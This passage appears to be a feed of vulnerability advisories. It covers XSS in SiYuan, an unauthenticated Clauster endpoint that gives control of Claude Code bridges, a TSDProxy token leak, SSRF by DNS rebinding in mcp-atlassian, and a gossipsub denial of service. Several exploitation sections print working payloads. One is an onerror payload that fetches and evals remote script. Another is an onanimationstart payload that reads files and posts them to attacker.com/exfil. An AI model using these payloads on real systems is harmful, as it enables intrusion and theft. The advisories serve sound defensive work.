link.appendChild(img); link.appendChild(textNode); wrapper.appendChild(link); container.appendChild(wrapper); } ``` This remediation structurally eliminates the XSS threat vector. By utilizing `document.createElement`, `setAttribute`, and `document.createTextNode`, the browser parser treats all injected values strictly as data rather than executable markup. {/* icon: terminal */} {/* type: exploit */} ## Exploitation & Attack Lifecycle Exploitation of CVE-2026-50551 requires low-privilege access to modify or sync a database within the SiYuan workspace. An attacker begins by crafting a malicious asset or renaming an existing one to include active script tags. The payload is designed to trigger when rendered within an anchor or image source error context. ```text Malicious Asset Name: "><img src=x onerror="fetch('http://127.0.0.1:8000/payload.js').then(r=>r.text()).then(eval)"> ``` ```mermaid graph LR A["Attacker uploads asset with payload"] --> B["Asset metadata stored in database"] B --> C["Victim views Attribute View table"] C --> D["Renderer injects unsanitized string into DOM"] D --> E["XSS payload executes inside Electron renderer"] E --> F["Arbitrary system command execution (RCE)"] ``` Once the database configuration synchronizes to the target client, viewing the specific table page invokes the renderer. The cell parses the filename literal and injects the broken HTML tag, causing the `onerror` attribute to execute immediately in the victim's application context. The script then utilizes the exposed Electron interface to escalate privileges. Because the frontend context can send messages over the IPC channel, the script calls exposed functions that wrapper node operations or system execution commands. This bypasses the typical web sandbox, leading to arbitrary binary execution. {/* icon: lock */} {/* type: deep-dive */} ## Impact and Severity Assessment The vulnerability is rated as Critical with a CVSS v3.1 score of 9.9. The high severity reflects the ease of exploitation once an attacker has permission to upload files, combined with the lack of required interaction from other workspace users. The most significant element of the CVSS vector is the Scope Change (`S:C`). In standard web applications, XSS compromises only the origin data. In Electron-based applications, a compromise of the renderer context often allows the attacker to interact with backend operating system APIs, breaking the application's logical boundaries. Successful execution grants the attacker the exact permissions of the running OS user. This allows full access to local files, system configurations, and network environments. It also creates opportunities for persistent backdoors or lateral movement across enterprise networks. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Hardening Strategies The primary remediation step is to upgrade all SiYuan server and client installations to version 3.7.0 or higher. This release contains the formal patch that replaces dynamic string-based HTML insertion with safe DOM node creation APIs. For self-hosted deployments where upgrading cannot be performed immediately, access controls must be hardened. Administrators should restrict database creation and edit permissions to trusted users. Disabling automatic synchronization with untrusted or public workspaces reduces the distribution vector of the stored database configuration. Long-term hardening for Electron-based clients should include strict verification of Context Isolation. Preload scripts should only expose highly restricted, input-validated API wrappers to the renderer process. All IPC messages received by the main process must undergo schema validation and authorization checks to prevent unauthorized command execution. Amit Schendel https://cvereports.com/reports/GHSA-H4G2-XFMW-Q2C9 https://cvereports.com/reports/GHSA-H4G2-XFMW-Q2C9 Fri, 10 Jul 2026 20:37:23 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview Clauster is a self-hosted web user interface and launcher designed to manage Claude Code remote-control bridges. The platform exposes administrative endpoints to manage active bridges, monitor logs, and configure workspace settings. Claude Code remote-control bridges execute system commands in local project directories under the privileges of the hosting process. In versions up to and including v0.2.1, Clauster contains a missing authentication vulnerability classified as CWE-306. When deployed on a network-exposed interface without loopback restrictions, the application exposes administrative control APIs and configuration interfaces unauthenticated if the master switch `auth.enabled` is not explicitly set to `true`. This flaw allows unauthenticated remote attackers with network access to the port to access the dashboard and control endpoints. Attackers can leverage this access to execute arbitrary commands through the managed Claude Code bridges, gaining remote code execution on the underlying host system. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability arises from a logic mismatch between the configuration validator and the runtime authentication enforcement layer. The application employs a fail-open design when validating network interfaces and configured credentials. At runtime, the authentication middleware checks incoming requests only if `auth.enabled` is explicitly set to `true`. If `auth.enabled` is set to `false` or omitted entirely, the auth guard is bypassed, and all API calls are processed without authentication verification. This design ignores other configured variables such as `password_required` or `reverse_proxy.enabled` during runtime checks. In vulnerable versions, the configuration validator in `src/clauster/config.py` permitted non-loopback bindings as long as `password_required` or `reverse_proxy.enabled` were configured, without verifying that the master `auth.enabled` key was active. Consequently, operators who configured credentials but omitted the master `auth.enabled` switch had their configurations validated successfully while the application remained completely unprotected. {/* icon: code */} {/* type: deep-dive */} ## Code Patch Analysis The vulnerability was patched in version v0.2.2 by introducing a robust fail-closed validation routine. A new helper function, `_missing_enforced_auth`, was added to determine whether a configuration enforces authentication at runtime. ```python def _missing_enforced_auth(host: str, auth: AuthConfig) -> bool: """Return True when binding host would NOT actually enforce authentication.""" if host in _LOOPBACK_HOSTS: return False return not (auth.enabled and (auth.password_required or auth.reverse_proxy.enabled)) ``` The configuration validator `_loopback_or_authed` was updated to utilize this helper. When a non-loopback host is bound and `_missing_enforced_auth` evaluates to true, the validator raises a `ValueError` unless the operator has explicitly configured `allow_unauthenticated_network` to bypass the security check. ```python a = self.auth if _missing_enforced_auth(self.host, a) and not a.allow_unauthenticated_network: raise ValueError( f"refusing non-loopback host={self.host!r} without enforced auth. Set " "auth.enabled: true together with auth.password_required ..." ) ``` The update also modified administrative diagnostics in `src/clauster/ops.py` to use the same logic, preventing situations where the setup validator and runtime diagnostics disagree on configuration safety. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology An attacker with network access to the exposed Clauster port can verify the vulnerability by making a direct request to the `/api/instances` endpoint. Since the authentication guard evaluates `auth.enabled` as false, it does not prompt for user credentials. ```mermaid graph LR Attacker["Attacker (Network-Adjacent)"] -->|HTTP GET /api/instances| Target["Clauster Web UI (0.0.0.0:7621)"] Target -->|auth.enabled=false| Guard["Auth Guard Bypass"] Guard -->|HTTP 200 OK| Remote["RCE via Claude Code Bridges"] ``` A vulnerable instance returns an HTTP 200 OK status code and a JSON response detailing active projects. A secured instance returns an HTTP 401 Unauthorized status code or is unable to boot due to validation failures. Once administrative endpoint access is established, the attacker can use the exposed API to list directory structures, view workspace logs, and spawn a Claude Code remote-control bridge. Because the Claude Code process runs commands in the context of the configured directories, the attacker achieves arbitrary command execution. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The security impact of this vulnerability is critical, leading to unauthorized code execution with the privileges of the process running Clauster. Successful exploitation yields complete control over the underlying environment and projects managed by the application. Attackers can access sensitive environment variables, retrieve stored database credentials, manipulate project source code, and compromise the integrity of host files. Because the managed application integrates directly with Claude Code bridges, control over the dashboard acts as a gateway for local shell execution. This vulnerability has been evaluated with a CVSS v4.0 score of 8.7, reflecting High impact on confidentiality, integrity, and availability. The threat model is highly applicable to deployments utilizing Docker containers, which often bind to `0.0.0.0` by default to handle inter-container network traffic. {/* icon: lock */} {/* type: mitigation */} ## Hardening and Mitigation The recommended remediation is to upgrade the Clauster installation to version v0.2.2 or higher. The updated configuration validator ensures the application will fail to launch if an insecure non-loopback binding is detected. If upgrading is not immediately possible, operators must verify that `auth.enabled` is explicitly set to `true` inside `clauster.yml`. The configuration must combine this setting with valid credentials, as shown below: ```yaml # Secure configuration snippet host: 0.0.0.0 port: 7621 auth: enabled: true password_required: true password_hash: "$argon2id$v=19$m=65536,t=3,p=4$..." ``` Additionally, restricting the application binding to loopback (`127.0.0.1`) minimizes the attack surface. For containerized deployments, mapping ports specifically to loopback addresses prevents external network exposure even if the internal container process binds to wildcard interfaces. Amit Schendel https://cvereports.com/reports/GHSA-G936-7JQJ-MWV8 https://cvereports.com/reports/GHSA-G936-7JQJ-MWV8 Fri, 10 Jul 2026 21:43:13 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview TSDProxy is an open-source Tailscale reverse proxy designed to automate the process of exposing Docker containers and internal host services directly to a Tailnet. When routing traffic to these upstream backends, TSDProxy can be configured to forward identity details using HTTP request headers, such as user IDs and usernames, allowing backend services to verify user identity seamlessly. To facilitate internal administrative operations like starting, stopping, or pausing individual proxy definitions, TSDProxy maintains an internal HTTP management API. This management plane is designed to run locally, typically binding to the loopback interface on port 8080. It utilizes an internal per-process authentication token to validate administrative commands originating from the local machine. The vulnerability arises because TSDProxy leaks this highly sensitive internal administrative token to untrusted third-party upstream backends. Under default configurations where identity headers are enabled, every proxied HTTP request carries the token to the backend server. This flaw creates a vector where any compromised or malicious upstream backend can capture the token and escalate privileges to fully control the TSDProxy instance. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of this vulnerability lies in the combination of unconditional token injection and improper context checking within the reverse proxy implementation. In the file `internal/proxymanager/port.go`, the handler loops through incoming requests and appends identity-related headers. If the `identityHeaders` boolean is enabled, the proxy attempts to extract user identity information from the request context. The application implements a middleware called `ProviderUserMiddleware` which is intended to populate the request context using Tailscale's `Whois` utility. However, for unauthenticated requests, such as public traffic coming through a Tailscale Funnel, the middleware still inserts a zero-value `Whois{}` struct into the context. Consequently, calling `WhoisFromContext` returns a success status (`ok=true`) because a `Whois` structure exists in the context, even though the fields within that structure are completely empty. Due to this flaw, the execution block responsible for header injection is entered for all incoming HTTP requests. Within this block, the code sets the `x-tsdproxy-auth-token` header using the value retrieved from `core.ProxyAuthToken()`. This action unconditionally appends the secret administrative token to outgoing requests destined for proxied backend applications, irrespective of whether the original requester is an administrator, a standard user, or an unauthenticated anonymous visitor. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis In the vulnerable version of `internal/proxymanager/port.go`, the header injection logic fails to validate the destination of the proxied request or the authenticity of the user. The following code segment illustrates this flaw: ```go // Vulnerable Code Path if identityHeaders { if user, ok := model.WhoisFromContext(r.In.Context()); ok { // The ok boolean evaluates to true even for anonymous requests // The internal administrative token is sent to the upstream backend unconditionally r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) } } ``` The official patch applied in commit `434819b4421e6b7471eaeb307533f19c52c222d8` implements stringent checks to remediate the vulnerability. First, it requires the user identifier to be non-empty, preventing anonymous context entries from triggering header injection. Second, it restricts token forwarding strictly to cases where the proxy target is identified as the local management interface: ```go // Patched Code Path if identityHeaders { if user, ok := model.WhoisFromContext(r.In.Context()); ok && user.ID != "" { r.Out.Header.Set(consts.HeaderID, user.ID) r.Out.Header.Set(consts.HeaderUsername, user.Username) // Forward the auth token only to the internal management // server (self-proxy case). Never expose it to external // backends — a leaked token allows identity spoofing on // the management API. if isManagementTarget(pconfig.GetFirstTarget()) { r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) } } } ``` Additionally, the patch introduces the helper function `isManagementTarget` to parse the destination URL and verify if it represents a loopback host on the designated HTTP management port. This stops the administrative token from being exposed to any backend container or external host service, while maintaining the self-proxying functionality required for legitimate management operations. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation of GHSA-g936-7jqj-mwv8 depends on the attacker's ability to monitor HTTP requests on an upstream backend service proxied by TSDProxy. This condition is easily met if the attacker compromises an existing container, deploys an unauthorized application, or controls a legitimate backend service. Once a single request passes through the proxy, the backend application receives the `x-tsdproxy-auth-token` header, exposing the administrative credential. After harvesting the token, the attacker must be capable of reaching the local management port of TSDProxy, which typically binds to `127.0.0.1:8080`. This access is possible if the backend container runs with host networking privileges (`--network=host`), if both services share a network namespace, or if the attacker has local shell access on the host operating system. The attacker can then issue administrative requests to the loopback interface, supplying the stolen token and a spoofed identity. ```mermaid sequenceDiagram autonumber actor Client as External Client participant Proxy as TSDProxy participant Backend as Compromised Backend participant Admin as Management API (Port 8080) Client->>Proxy: Access Proxied Service Proxy->>Backend: Forward Request + Admin Token (Leaked) Note over Backend: Extract Admin Token Backend->>Admin: Replay Token + Spoofed Admin ID Admin->>Backend: Grant Full Control / Return Configurations ``` By transmitting a request to `/api/v1/proxies` accompanied by the hijacked token, the attacker bypasses all access controls. The management API trusts the caller implicitly due to the matching token and the loopback origin, giving the attacker structural authority over the reverse proxy configuration. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The security impact of this vulnerability is critical, as it allows a complete compromise of the reverse proxy engine's management plane. Armed with the stolen administrative token, an attacker can modify proxy definitions, stop existing proxies, start new services, and alter configuration files. This level of access grants the attacker control over the routing of traffic within the Tailnet environment. Furthermore, the management API exposes detailed configuration structures that reveal internal network topologies, container identifiers, and backend URLs. An attacker can leverage this information to map out isolated systems, locate other sensitive databases, and plan further lateral movement. Additionally, administrative capabilities such as triggering server-side webhooks present opportunities for server-side request forgery (SSRF) and localized denial of service. The CVSS v3.1 base score is calculated at 8.3, reflecting high confidentiality, integrity, and availability impacts. While the exploitation requires the attacker to occupy a position within the internal network or a proxied backend, the resulting scope change makes the vulnerability particularly significant because a compromise of a standard container escalates directly to host-level network proxy control. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Defense-in-Depth The primary remediation strategy is upgrading TSDProxy to a version containing the official fix. The vulnerability is resolved in the Go pseudo-version `1.4.4-0.20260603142855-434819b4421e`, which implements the patched header sanitization and the target validation checks. Organizations running TSDProxy via Docker should pull the latest image built from the `main` branch containing the patched proxy manager code. In environments where immediate software upgrades are not feasible, network-level mitigations must be deployed to disrupt the exploitation path. Security teams should enforce strict network namespace isolation, ensuring that upstream backend containers are placed in isolated bridge networks rather than using host networking mode. This prevents backend applications from accessing the host loopback interface where the management API resides. Additionally, administrators can mitigate the risk by setting `identityHeaders: false` in the proxy configuration file. This completely disables the forwarding of Tailscale user attributes to the backends, thereby preventing the execution block from injecting the administrative token. Finally, host firewalls should be configured to drop any traffic attempting to reach port 8080 from non-trusted interfaces or container bridge subnets. Alon Barad https://cvereports.com/reports/CVE-2026-54070 https://cvereports.com/reports/CVE-2026-54070 Fri, 10 Jul 2026 19:27:24 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview SiYuan is an open-source, self-hosted personal knowledge management system that allows users to manage local Markdown workspaces. The platform features an integrated Bazaar marketplace, enabling users to discover and download third-party community themes, plugins, and templates. This modular ecosystem necessitates the retrieval and rendering of remote content within the application interface. The attack surface is exposed in the Bazaar package viewing flow inside the Settings panel. When an administrator browses the marketplace, the backend kernel fetches the package README file from a remote registry and processes it to display detailed information. The backend engine processes the raw Markdown and converts it into HTML output. This vulnerability is categorized under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-184 (Incomplete List of Disallowed Inputs). An attacker can host a malicious package on the public Bazaar registry. This action triggers code execution when an administrator inspects the package, without requiring package installation. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The backend kernel employs the `lute` engine to parse Markdown to HTML inside the `renderPackageREADME` function in `kernel/bazaar/readme.go`. To mitigate potential injection vectors, the engine is initialized with sanitization enabled via `luteEngine.SetSanitize(true)`. This configuration activates the internal attribute validator within the parsing library. ```mermaid graph LR Markdown["Raw README.md"] --> Lute["Lute Engine"] Lute --> Sanitizer["luteEngine.SetSanitize(true)"] Sanitizer -- "Applies legacy blocklist" --> Output["Sanitized HTML"] Output -- "API Response" --> Frontend["app/src/config/bazaar.ts"] Frontend -- "Direct innerHTML insertion" --> DOM["Main DOM context"] ``` The sanitizer relies on a negative security model (blocklist) to strip dangerous elements. The function checks parsed HTML attributes against a hardcoded map of prohibited handlers, called `eventAttrs`. This collection was based on legacy web elements and does not contain contemporary pointers, transitions, or animations. Because the blocklist is not exhaustive, modern event handlers such as `onpointerover`, `onpointerdown`, `onauxclick`, `onbeforetoggle`, `onfocusin`, `onanimationstart`, and `ontransitionend` are not recognized as dangerous. The parser passes these attributes through to the generated HTML output unchanged. The client receives this raw output and loads it directly into the application context. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Comparison In vulnerable versions, the kernel converts the content to HTML and transfers it directly to the frontend. The critical vulnerability on the frontend client resides in `app/src/config/bazaar.ts` where the response is rendered: ```typescript // Inside app/src/config/bazaar.ts (Vulnerable path) // The HTML output is inserted directly into the main DOM mdElement.innerHTML = renderedHTML; ``` No secondary client-side library (such as DOMPurify) sanitizes this element, and it is placed inside the primary document window rather than inside a sandboxed iframe. Additionally, the application does not implement a restrictive Content Security Policy (CSP) on the local host origin. In the patched release, the `lute` rendering library has been updated to filter out modern event handlers, or the application was adjusted to utilize safer rendering pipelines. An expanded representation of the legacy sanitization map contrasted with the updated, secure validation approach is demonstrated below: ```go // VULNERABLE: Incomplete list derived from legacy event types var eventAttrs = map[string]bool{ "onclick": true, "onload": true, "onerror": true, "onmouseover": true, } // PATCHED: Complete blocklist including pointer and CSS keyframe handlers var eventAttrs = map[string]bool{ "onclick": true, "onload": true, "onerror": true, "onmouseover": true, "onpointerover": true, "onpointerdown": true, "onauxclick": true, "onbeforetoggle": true, "onfocusin": true, "onanimationstart": true, "ontransitionend": true, } ``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation involves registering a package on the SiYuan Bazaar registry containing custom Markdown in the `README.md` file. The attacker places a structured HTML tag inside the Markdown to trigger JavaScript execution upon page load or simple user navigation. To achieve interaction-less exploitation, an attacker can specify a hidden element with CSS keyframe animations. The `onanimationstart` event triggers immediately when the browser calculates the layout, requiring no active movement or clicks from the administrator: ```html <style> @keyframes triggerXSS { from { clip: rect(1px, 1px, 1px, 1px); } to { clip: rect(0px, 0px, 0px, 0px); } } .xss-trigger { animation: triggerXSS 0.1s; } </style> <div class="xss-trigger" onanimationstart=" fetch('/api/file/readDir', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ path: '/' }) }) .then(r => r.json()) .then(files => { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(files) }); }); "></div> ``` If pointer interactions are preferred, the payload can be bound to `onpointerover` inside an eye-catching element. As soon as the mouse pointer brushes against the package overview container, the handler invokes the client-side API. {/* icon: skull */} {/* type: deep-dive */} ## Technical Impact Assessment The impact of this vulnerability is severe because the local SiYuan application has access to local desktop system files via its integrated local API server. Since the injected code executes in the context of the running application, the attacker inherits the rights of the logged-in administrator. The script can call any API endpoint exposed on the local server origin. Key capabilities include listing directory contents, reading arbitrary local notes, writing malicious files, or modifying current application configurations. The compromised workspace can then be exfiltrated via external HTTP requests since no Content Security Policy restricts external communication. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Defensive Measures The primary resolution is to upgrade all SiYuan installations to version 3.7.0 or higher. Version 3.7.0 contains updated validation logic within the `lute` markdown component and hardens the application against event handler bypasses. For environments where updating is delayed, the following temporary workarounds should be applied: 1. Do not open the 'Bazaar' or 'Marketplace' configuration sections. 2. Enforce local host restrictions or firewall configurations that block outbound internet communication from the SiYuan process to untrusted domains, preventing third-party package synchronization. 3. Implement local intercepting proxies to strip custom event attributes before they are parsed by the application frontend. Alon Barad https://cvereports.com/reports/GHSA-489G-7RXV-6C8Q https://cvereports.com/reports/GHSA-489G-7RXV-6C8Q Fri, 10 Jul 2026 18:01:22 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The `mcp-atlassian` server is a Model Context Protocol (MCP) server used to interface with Atlassian applications, including Jira and Confluence. In versions prior to `0.17.0`, the application exposes an HTTP/SSE interface that processes unauthenticated incoming requests. When managing connections, the server allows clients to dynamically specify target Atlassian instances via custom HTTP headers, creating an expansive attack surface.\n\nSpecifically, the server reads the target hostnames from the `X-Atlassian-Jira-Url` and `X-Atlassian-Confluence-Url` headers. Because these requests can be initiated by unauthenticated users, the design introduces risks of arbitrary outbound network requests. This vulnerability class falls under CWE-918 (Server-Side Request Forgery) combined with a CWE-367 (Time-of-Check to Time-of-Use) race condition, allowing adjacent network actors to target internal nodes. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability arises from a flawed validation routine designed to block private IP addresses. In an attempt to secure custom URLs, the developers implemented `validate_url_for_ssrf` in `src/mcp_atlassian/utils/urls.py`. This utility resolves the client-supplied hostname and checks if any resolved IP address belongs to non-global ranges (e.g., private subnets, loopback, or link-local addresses).\n\nHowever, the code suffers from a classic Time-of-Check to Time-of-Use (TOCTOU) vulnerability. The validation step performs DNS resolution and, if successful, allows execution to proceed. Crucially, the validated IP address is discarded, and the application subsequently passes the original hostname string to the Python `requests` library. If an attacker controls the authoritative DNS server for the target domain, they can configure it to return a public IP during the validation phase, and then immediately return a private IP (such as `169.254.169.254` or `127.0.0.1`) during the connection phase.\n\nAdditionally, the redirect protection implemented as a response hook is defective. The hook intercepts responses and checks `response.is_redirect`. However, in the standard `requests` library, redirects are followed internally by default, meaning that the response hook is only executed on the final resolved object. If an intermediate redirect leads to a non-redirect (e.g., a `200 OK` on a private resource), the hook fails to trigger, leaving the system fully vulnerable to redirect-based bypasses. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis Let us analyze the vulnerable validation logic from `src/mcp_atlassian/utils/urls.py` in detail. The original DNS resolution check loops through the resolved sockets, but never pins the resulting address:\n\n```python\n# Vulnerable DNS validation routine\ndef _check_dns_resolution(hostname: str) -> str | None:\n try:\n results = socket.getaddrinfo(hostname, None)\n except socket.gaierror:\n return f\"DNS resolution failed for {hostname}\"\n\n for _family, _type, _proto, _canonname, sockaddr in results:\n ip_str = sockaddr[0]\n addr = ipaddress.ip_address(ip_str)\n if not addr.is_global:\n return f\"DNS for {hostname} resolves to non-global IP: {ip_str}\"\n return None\n```\n\nEven if `_check_dns_resolution` returns `None` (indicating a safe IP), the application goes on to make an independent request using the unpinned URL. The diagram below illustrates this TOCTOU flow:\n\n```mermaid\ngraph LR\n Client[Client Request] --> Validation[validate_url_for_ssrf]\n Validation -->|DNS Query 1: Public IP| Safe[Validation Passes]\n Safe --> Outbound[requests.get]\n Outbound -->|DNS Query 2: Private IP| Target[Private Resource / IMDS]\n```\n\nFurthermore, the redirect validation mechanism utilizes a post-response hook that is fundamentally bypassed because intermediate redirects are processed natively inside `requests` prior to the hook's invocation. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology An attacker can achieve full Server-Side Request Forgery (SSRF) bypass using standard DNS rebinding techniques. The attack requires deploying a custom DNS server that answers requests dynamically with a very low Time-to-Live (TTL) of 0 seconds. On the first query, the DNS server returns a benign global IP address (e.g., `104.192.141.1`). On the second query, the DNS server returns a local or loopback address (e.g., `169.254.169.254`).\n\nThe exploitation sequence is as follows:\n\n1. The attacker establishes an unauthenticated session with the MCP server by sending an initial handshake to `/mcp`.\n\n2. The attacker triggers a tool execution such as `jira_get_issue` while providing custom headers: `X-Atlassian-Jira-Url: http://rebind.attacker.com` and `X-Atlassian-Jira-Personal-Token: testing`.\n\n3. During the validation phase, the host machine queries `rebind.attacker.com`, receives `104.192.141.1`, and validates the URL as safe.\n\n4. When `mcp-atlassian` initiates the outbound HTTP connection, it sends another DNS query due to the expired TTL, resolving `rebind.attacker.com` to `169.254.169.254`.\n\n5. The server connects to the AWS Instance Metadata Service, retrieving sensitive credentials or IAM role policies. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The successful exploitation of CVE-2026-27826 allows unauthenticated, remote attackers to perform arbitrary HTTP requests from the context of the hosting server. Depending on where the `mcp-atlassian` server is deployed, this capability can lead to severe compromises.\n\nIn cloud environments (such as AWS, Google Cloud, or Azure), the attacker can access the cloud metadata service to retrieve temporary IAM role credentials, resulting in a full cloud account takeover. In local or enterprise networks, the vulnerability enables internal port scanning, discovery of microservices, and interactions with unauthenticated administrative endpoints (such as Redis, Consul, or local databases).\n\nThe CVSS v3.1 base score of 8.2 is classified as High severity. The score reflects a high confidentiality impact and low integrity impact, with the scope changed because the vulnerability in `mcp-atlassian` is leveraged to compromise adjacent systems on the internal network. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Mitigation The primary remediation for this vulnerability is to upgrade `mcp-atlassian` to version `0.17.0` or higher, which properly addresses the DNS rebinding flaw and enforces strict validation.\n\nIf upgrading immediately is not possible, the following mitigations must be implemented:\n\n1. **Define Allowed Domains**: Set the environment variable `MCP_ALLOWED_URL_DOMAINS` to restrict the target domains to trusted Atlassian instances (e.g., `yourorg.atlassian.net`).\n\n2. **Network Filtering**: Implement host-level firewall rules using `iptables` to block the server process from initiating outgoing connections to local IP addresses and the link-local metadata address (`169.254.169.254`).\n\n3. **Isolate Deployment**: Place the MCP server in a private security group with no outbound access to other internal network resources. Amit Schendel https://cvereports.com/reports/CVE-2026-49866 https://cvereports.com/reports/CVE-2026-49866 Fri, 10 Jul 2026 16:04:49 GMT {/* icon: bug */} {/* type: overview */} ## Vulnerability Overview The vulnerability identified as CVE-2026-49866 is a high-severity denial-of-service vulnerability affecting `@libp2p/gossipsub`, which is the pubsub routing stack implementation within the `js-libp2p` network environment. Gossipsub plays a key role in maintaining robust network routing and message propagation across peer-to-peer networks. Because it exposes an open network surface to incoming peer-to-peer RPC control messages, any unauthenticated entity can connect and interact with the protocol parser.\n\nThe vulnerability falls under CWE-770 (Allocation of Resources Without Limits or Throttling). It occurs because the decoding interface does not enforce upper bounds on nested arrays within gossip-routing control frames. Under default configurations, an attacker can transmit structured RPC messages that consume disproportionate processing time, resulting in complete service exhaustion. This bypasses the typical message boundaries and overwhelms the thread architecture. {/* icon: search */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-49866 lies in a combination of unbounded default decoding limits, structural key mismatches during parser configuration, and synchronous processing of uncontrolled inputs. During initialization, the `defaultDecodeRpcLimits` configuration defines limits for arrays like `maxIhaveMessageIDs` and `maxIwantMessageIDs` as `Infinity`. This instructs the underlying parser (`protons-runtime`) to bypass length checks, enabling arbitrary memory allocation for incoming nested control arrays.\n\nCompounding this, the RPC decoding call in `gossipsub.ts` utilizes an incorrect schema structure key when mapping limits for nested fields. Specifically, the limits object expects properties mapped inside a dedicated structure nested under the `control$` namespace, but the key mismatch fails to apply these parameters correctly. Consequently, even if a user attempts to define manual limits, the validator falls back to defaults or fails to restrict the deserialization process.\n\nOnce decoded, the application processes these populated arrays synchronously using nested `.forEach` loops. Because the Node.js runtime is single-threaded, synchronous execution blocks the main thread from handling any other network events, timer expirations, or operational tasks. An attacker can package approximately 180,000 message IDs within a single 4 MB physical frame, requiring the event loop to spend 135ms to 200ms of CPU time synchronously converting and analyzing the IDs.\n\n```mermaid\ngraph LR\n A["Remote Unauthenticated Peer"] -->|"4MB RPC Frame"| B["Network Socket Interface"]\n B -->|"Passes Raw Bytes"| C["Protobuf Parser (protons-runtime)"]\n C -->|"No Length Validation (Infinity Limits)"| D["handleIHave / handleIWant Functions"]\n D -->|"Synchronous Array Iteration (180,000 elements)"| E["Node.js Event Loop Blocked"]\n E -->|"Thread Starvation"| F["Dropped Peer Connections & DoS"]\n``` {/* icon: code */} {/* type: deep-dive */} ## Code Analysis To understand the technical vulnerability, we must examine the configuration that defines default limits and the parsing routine. In the vulnerable version, `packages/gossipsub/src/message/decodeRpc.ts` establishes unbounded array length constraints:\n\n```typescript\n// VULNERABLE: Default configurations allow infinite elements\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n maxSubscriptions: Infinity,\n maxMessages: Infinity,\n maxIhaveMessageIDs: Infinity, // Bypasses array limitation\n maxIwantMessageIDs: Infinity, // Bypasses array limitation\n maxIdontwantMessageIDs: Infinity,\n maxControlMessages: Infinity,\n maxPeerInfos: Infinity\n}\n```\n\nThe parsed control arrays are processed directly inside `gossipsub.ts` using nested loops that do not implement exit conditions or element limit validation:\n\n```typescript\n// VULNERABLE: Loops iterate over the entire array size synchronously\nihave.forEach(({ topicID, messageIDs }) => {\n messageIDs.forEach((msgId) => {\n const msgIdStr = this.msgIdToStrFn(msgId);\n if (!this.seenCache.has(msgIdStr)) {\n iwant.set(msgIdStr, msgId);\n idonthave++;\n }\n });\n});\n```\n\nThe patch resolves these weaknesses by introducing strict boundaries. In the updated `packages/gossipsub/src/message/decodeRpc.ts`, limits are assigned concrete maximum sizes, and schema structures are aligned:\n\n```typescript\n// PATCHED: Imposes rigorous limits on array decoding\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n maxSubscriptions: 5000,\n maxMessages: 5000,\n maxIhaveMessageIDs: 5000, // Enforces early parser-level rejection\n maxIwantMessageIDs: 5000, // Enforces early parser-level rejection\n maxControlMessages: 5000,\n maxIdontwantMessageIDs: 512,\n maxPeerInfos: 16\n}\n```\n\nFurthermore, the nested loops inside `gossipsub.ts` are refactored to check a counter and break execution when the limits are reached:\n\n```typescript\n// PATCHED: Integrates labeled break to enforce upper boundaries\nlet processed = 0;\nout: for (const { topicID, messageIDs } of ihave) {\n if (topicID == null || messageIDs == null || !this.mesh.has(topicID)) {\n continue;\n }\n let idonthave = 0;\n for (const msgId of messageIDs) {\n if (processed >= constants.GossipsubMaxIHaveLength) { // Default is 5000\n break out; // Exits processing loop early\n }\n processed++;\n const msgIdStr = this.msgIdToStrFn(msgId);\n if (!this.seenCache.has(msgIdStr)) {\n iwant.set(msgIdStr, msgId);\n idonthave++;\n }\n }\n}\n``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploiting CVE-2026-49866 does not require specialized credentials or complex configurations. An attacker first establishes a standard peer-to-peer TCP or WebSocket connection with a vulnerable Node.js `js-libp2p` peer. The target node accepts the initial connection and initiates a standard Gossipsub stream handshake, transitioning the connection into an active state.\n\nOnce connected, the attacker constructs a serialized Protocol Buffer RPC payload specifically containing nested `ihave` or `iwant` control messages. The attacker loads the nested `messageIDs` array with up to 180,000 distinct entries, keeping the entire payload just below the 4 MB length-prefixed frame limit enforced by the libp2p connection manager. Because the victim utilizes unbounded deserialization, the incoming message is fully parsed, and its contents are immediately queued for synchronous application-layer processing.\n\nAs soon as the processing handler invokes `handleIHave` or `handleIWant`, the single thread of the Node.js process is fully consumed by array iteration, string translation, and cache lookups. This blocks the event loop for 135ms to 200ms per frame. By repeatedly streaming these structured payloads, the attacker starves the event loop continuously, preventing the server from handling standard runtime callbacks or network I/O. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The practical impact of this vulnerability is a complete and sustained denial of service (DoS) of the target Node.js application. While the process itself does not crash immediately due to memory corruption, the total starvation of the Node.js event loop causes critical side effects across the entire networking layer. Healthy peers fail to receive timely response frames, resulting in missed heartbeat timeouts and widespread disconnection of honest nodes.\n\nBecause libp2p nodes often serve as routing relays, validators, or RPC endpoints in decentralized networks, a single blocked instance can disrupt wider network consensus or communications. The CVSS score of 7.5 reflects this high impact on availability, combined with low 